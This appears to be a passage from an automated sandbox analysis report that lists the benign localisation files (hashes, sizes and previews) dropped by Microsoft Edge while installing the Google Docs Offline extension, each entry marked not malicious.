SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
